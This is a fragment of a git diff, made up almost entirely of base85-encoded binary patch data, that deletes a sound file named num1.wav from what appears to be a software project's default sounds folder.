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 diff --git a/data/sounds/default/num1.wav b/data/sounds/default/num1.wav deleted file mode 100755 index c844d5648f31ef3f801b7e9cf27a038137886429..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 20428 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 